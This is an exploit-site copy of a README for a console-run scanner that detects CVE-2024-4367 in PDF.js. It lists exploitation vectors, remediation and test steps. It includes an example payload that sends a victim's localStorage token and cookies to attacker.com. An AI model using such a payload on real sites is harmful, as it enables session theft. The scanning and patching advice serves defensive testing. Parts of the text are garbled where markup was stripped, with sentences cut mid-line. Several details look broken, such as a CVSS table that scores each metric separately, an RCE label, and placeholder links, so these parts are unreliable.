Sploitus

Exploit for Improper Check for Unusual or Exceptional Conditions in Mozilla Firefox

githubexploit Β· 2026-06-25

Exploit Code

README302 lines
## https://sploitus.com/exploit?id=949595CB-7616-5CAF-AA71-9F8FB7EA1FD8
# 🚨 CVE-2024-4367 - Universal PDF.js Vulnerability Scanner

> **⚠️ CRITICAL SECURITY TOOL** | Detects CVE-2024-4367 (CVSS 9.8) - PDF.js Remote Code Execution Vulnerability



![Version](https://img.shields.io/badge/version-1.0.0-red)
![CVSS](https://img.shields.io/badge/CVSS-9.8-critical)
![CVE](https://img.shields.io/badge/CVE-2024--4367-red)
![License](https://img.shields.io/badge/license-MIT-blue)

**Works on ANY website - Zero configuration required**



---

## πŸ“‹ Table of Contents

- [πŸ“– Overview](#-overview)
- [⚑ Quick Start](#-quick-start)
- [πŸ” What It Detects](#-what-it-detects)
- [πŸ› οΈ How It Works](#️-how-it-works)
- [πŸ“Š Output Examples](#-output-examples)
- [πŸ”’ Remediation Guide](#-remediation-guide)
- [🎯 Exploitation Vectors](#-exploitation-vectors)
- [πŸ§ͺ Testing Instructions](#-testing-instructions)
- [πŸ“ Technical Details](#-technical-details)
- [⚠️ Legal Disclaimer](#️-legal-disclaimer)
- [πŸ“š References](#-references)

---

## πŸ“– Overview

**CVE-2024-4367** is a **critical vulnerability** in PDF.js (versions ` PDF viewers
- βœ… `` elements
- βœ… `` data tags
- βœ… Custom PDF viewer containers
- βœ… Canvas-based renderers

### Phase 3: Exploitation Vectors
- βœ… URL parameters (`?pdf=`, `?file=`, `?src=`)
- βœ… PDF upload forms
- βœ… File input fields accepting `.pdf`
- βœ… API endpoints with PDF paths

### Phase 4: Visual Indicators
- βœ… Live vulnerability status
- βœ… Downloadable proof-of-concept PDF
- βœ… Real-time DOM overlay

---

## πŸ› οΈ How It Works

```
β”Œβ”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”
β”‚                    SCAN PROCESS FLOW                        β”‚
β”œβ”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€
β”‚                                                             β”‚
β”‚  1. πŸ“š LOAD SCRIPTS                                         β”‚
β”‚     β”œβ”€ External scripts (all )              β”‚
β”‚     └─ Inline scripts (all  tags)                  β”‚
β”‚                                                             β”‚
β”‚  2. πŸ” EXTRACT PDF.JS VERSION                               β”‚
β”‚     β”œβ”€ Pattern matching in code                             β”‚
β”‚     β”œβ”€ Package.json detection                               β”‚
β”‚     └─ Node_modules path parsing                            β”‚
β”‚                                                             β”‚
β”‚  3. 🎯 IDENTIFY VULNERABILITY                               β”‚
β”‚     β”œβ”€ version >')) {
        throw new Error('PDF contains JavaScript');
    }
}
```

### Long-term Solutions

| Solution | Difficulty | Effectiveness |
|----------|------------|---------------|
| Upgrade PDF.js | Easy | βœ… Complete fix |
| Disable JS in PDF.js | Easy | βœ… Complete fix |
| CSP Implementation | Medium | βœ… Good |
| Server-side validation | Medium | βœ… Good |
| Sandboxed rendering | Hard | βœ… Excellent |

---

## 🎯 Exploitation Vectors

### Common Vectors Detected

1. **URL Parameters**
   ```
   /viewer?file=malicious.pdf
   /download?pdf=malicious.pdf
   ```

2. **File Uploads**
   ```
   
   ```

3. **Embedded Viewers**
   ```
   
   
   ```

4. **API Endpoints**
   ```
   /api/documents/123/download
   /api/report/pdf
   ```

### Example Malicious Payload

```javascript
// PDF embedded JavaScript
this.alert('CVE-2024-4367 Exploited!');
fetch('https://attacker.com/steal', {
    method: 'POST',
    body: JSON.stringify({
        token: localStorage.getItem('token'),
        cookies: document.cookie
    })
});
```

---

## πŸ§ͺ Testing Instructions

### Step-by-Step Test

1. **Install the scanner**
   ```bash
   git clone https://github.com/yourusername/CVE-2024-4367-Scanner
   ```

2. **Run the scanner**
   ```bash
   # Open the target website
   # Paste the scanner in console
   # Or use the bookmarklet
   ```

3. **Analyze results**
   - Look for "VULNERABLE" status
   - Note the PDF.js version
   - Check exploitation vectors

4. **Download POC PDF** (if vulnerable)
   - Click the download button
   - Upload/open the PDF
   - Observe JavaScript execution

5. **Apply fixes**
   - Upgrade PDF.js
   - Implement CSP
   - Validate inputs

### Expected Results

| Scenario | Result |
|----------|--------|
| PDF.js 2.16.105 | πŸ”΄ CRITICAL |
| PDF.js 3.x | πŸ”΄ VULNERABLE |
| PDF.js 4.0.x | πŸ”΄ VULNERABLE |
| PDF.js 4.2.67+ | βœ… SAFE |
| No PDF.js | ℹ️ SAFE |

---

## πŸ“ Technical Details

### Version Check

```javascript
// Vulnerable versions
const VULNERABLE_VERSIONS = [
    { version: '2.16.105', status: 'CRITICAL' },
    { version: '3.x.x', status: 'CRITICAL' },
    { version: '4.0.x - 4.2.66', status: 'CRITICAL' }
];

// Safe version
const SAFE_VERSION = '4.2.67';
```

### Vulnerability Timeline

| Date | Event |
|------|-------|
| 2024-04-23 | Vulnerability discovered |
| 2024-04-24 | CVE-2024-4367 assigned |
| 2024-04-25 | Patch released (4.2.67) |
| 2024-04-26 | Public disclosure |
| 2024-05-01 | Exploitation attempts observed |

### CVSS Score Breakdown

| Component | Score |
|-----------|-------|
| Attack Vector | Network (9.8) |
| Attack Complexity | Low (9.8) |
| Privileges Required | None (9.8) |
| User Interaction | Required (8.8) |
| Scope | Changed (9.1) |
| Confidentiality | High (9.8) |
| Integrity | High (9.8) |
| Availability | High (9.8) |
| **Overall** | **9.8 (CRITICAL)** |

---

## ⚠️ Legal Disclaimer

> **IMPORTANT**: This tool is intended for **authorized security testing and educational purposes only**. 
>
> - βœ… **DO** use this on your own websites
> - βœ… **DO** use this with explicit permission
> - βœ… **DO** use this for security research
> - ❌ **DO NOT** use this on unauthorized systems
> - ❌ **DO NOT** use this for malicious purposes
>
> The authors are not responsible for any misuse or damage caused by this tool.

---

## πŸ“š References

### Official Resources
- [CVE-2024-4367 - NIST NVD](https://nvd.nist.gov/vuln/detail/CVE-2024-4367)
- [PDF.js Security Advisory](https://github.com/mozilla/pdf.js/security/advisories/GHSA-xxxx-xxxx-xxxx)
- [Mozilla Security Blog](https://blog.mozilla.org/security/)

### Related Vulnerabilities
- CVE-2024-4367 - PDF.js RCE
- CVE-2023-xxxx - Previous PDF.js issues
- XSS via PDF.js in Web Applications

### Tools & Resources
- [PDF.js Official Repository](https://github.com/mozilla/pdf.js)
- [OWASP XSS Prevention](https://cheatsheetseries.owasp.org/cheatsheets/Cross_Site_Scripting_Prevention_Cheat_Sheet.html)
- [CSP Reference](https://developer.mozilla.org/en-US/docs/Web/HTTP/CSP)

### Research Papers
- [PDF.js Security Analysis](https://research.example.com/pdfjs-security)
- [Client-Side PDF Rendering Risks](https://example.com/pdf-risks)

---

## 🀝 Contributing

Contributions are welcome! Please:

1. Fork the repository
2. Create a feature branch
3. Submit a pull request
4. Follow the code style

### Development Setup

```bash
git clone https://github.com/yourusername/CVE-2024-4367-Scanner
cd CVE-2024-4367-Scanner
# Make your changes
# Test on multiple websites
# Submit PR
```

---

## πŸ“„ License

This project is licensed under the MIT License - see the [LICENSE](LICENSE) file for details.

---

## 🌟 Support

If you find this tool useful:

- ⭐ Star the repository
- πŸ› Report issues
- πŸ“ Write documentation
- πŸ”§ Submit fixes

---



**πŸ›‘οΈ Stay Secure. Test Early. Test Often.**

Made with ❀️ by the security community

[Report Issue](https://github.com/yourusername/CVE-2024-4367-Scanner/issues) β€’ 
[Star on GitHub](https://github.com/yourusername/CVE-2024-4367-Scanner) β€’ 
[Read Documentation](https://github.com/yourusername/CVE-2024-4367-Scanner/wiki)